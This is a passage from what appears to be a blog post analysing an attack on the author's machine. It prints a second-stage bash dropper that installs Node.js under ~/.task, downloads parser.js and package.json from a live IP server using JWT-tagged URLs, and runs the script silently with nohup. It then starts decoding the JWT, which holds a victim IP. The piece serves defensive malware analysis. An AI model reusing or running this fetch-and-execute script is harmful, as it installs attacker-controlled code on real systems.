&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Step 3: Determine whether to install Node.js&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;INSTALL_NODE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;#if [ -z &amp;quot;$NODE_INSTALLED_VERSION&amp;quot; ]; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;#    INSTALL_NODE=1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;#fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EXTRACTED_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.task&#x2F;node-v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;NODE_VERSION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;$( [ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$OS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Darwin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ] &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;darwin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;linux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;-x64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Use Documents directory for files&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;#USER_HOME=&amp;quot;$HOME&#x2F;Documents&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;#mkdir -p &amp;quot;$USER_HOME&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.task&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;BASE_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;http:&#x2F;&#x2F;165.140.86.190:3000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# ? Check if the Node.js folder exists&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; [ ! -d &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$EXTRACTED_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Error: Node.js directory was not extracted properly. Retrying download and extraction...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; [ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$INSTALL_NODE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; -eq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; !&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -v curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;amp;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;            wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -q&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$DOWNLOAD_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -O&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;            curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -sSL -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$DOWNLOAD_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;        fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; [ -f &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;            tar&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -xf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;.task&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;            rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$NODE_TARBALL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;        fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# ? Add Node.js to the system PATH (session only)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;export&lt;&#x2F;span&gt;&lt;span&gt; PATH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$EXTRACTED_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;bin:&lt;&#x2F;span&gt;&lt;span&gt;$PATH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Step 7: Verify node &amp;amp; npm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; !&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -v node&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;amp;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;null &lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;|| !&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -v npm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;amp;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Step 8: Download files&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Check if curl is available&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; !&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -v curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; 2&amp;gt;&amp;amp;1;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;    # If curl is not available, use wget&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -q -O&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;parser.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$BASE_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;task&#x2F;parser?token=40abc18736c9&amp;amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTguMTYzLjE0MSIsInNlc3Npb25JZCI6ImYyN2I0NTVhLTI2NTgtNDA2ZS05MmNjLTJiMGY2MDYzM2Q4YyIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc3NzUxMTI0NjA3NSwib3JpZ1Rva2VuIjoiNDBhYmMxODczNmM5IiwiaWF0IjoxNzc3NTExMjQ2LCJleHAiOjE3Nzc1MTE0MjZ9.leonN9WynEmz2kdFlPwrdHEgKDTOhjYYg4VMsn_hSPs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -q -O&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;package.json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$BASE_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;task&#x2F;package.json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;    # If curl is available, use curl&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -s -L -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;parser.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$BASE_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;task&#x2F;parser?token=40abc18736c9&amp;amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTguMTYzLjE0MSIsInNlc3Npb25JZCI6ImYyN2I0NTVhLTI2NTgtNDA2ZS05MmNjLTJiMGY2MDYzM2Q4YyIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc3NzUxMTI0NjA3NSwib3JpZ1Rva2VuIjoiNDBhYmMxODczNmM5IiwiaWF0IjoxNzc3NTExMjQ2LCJleHAiOjE3Nzc1MTE0MjZ9.leonN9WynEmz2kdFlPwrdHEgKDTOhjYYg4VMsn_hSPs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -s -L -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;package.json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$BASE_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;task&#x2F;package.json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Step 9: Install &amp;#39;request&amp;#39; package&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; [ ! -d &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;node_modules&#x2F;request&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    npm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; install --silent --no-progress --loglevel=error --fund=false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Step 10: Run token parser&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; [ -f &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;parser.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    nohup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; node&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;parser.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$USER_HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;parser.log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; 2&amp;gt;&amp;amp;1 &amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It sets up nodejs which they need to run their next phase of attack on my machine. This time the attackers again uses JWT in the URL params. Notice the &lt;code&gt;&quot;step&quot;: 2,&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;::ffff:152.58.163.141&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
